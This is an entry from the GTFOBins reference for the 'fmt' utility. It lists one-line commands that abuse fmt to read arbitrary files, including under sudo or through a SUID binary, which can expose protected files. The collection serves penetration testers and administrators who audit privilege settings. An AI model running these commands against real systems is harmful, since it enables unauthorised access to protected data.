GTFOBins.github.io/_gtfobins/fmt.md
2018-06-12 19:29:34 +01:00

18 lines
382 B
Markdown

---
description: |
The read file content is not binary-safe.
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fmt -pNON_EXISTING_PREFIX "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fmt -pNON_EXISTING_PREFIX "$LFILE"
file-read:
- code: |
LFILE=file_to_read
fmt -pNON_EXISTING_PREFIX "$LFILE"
---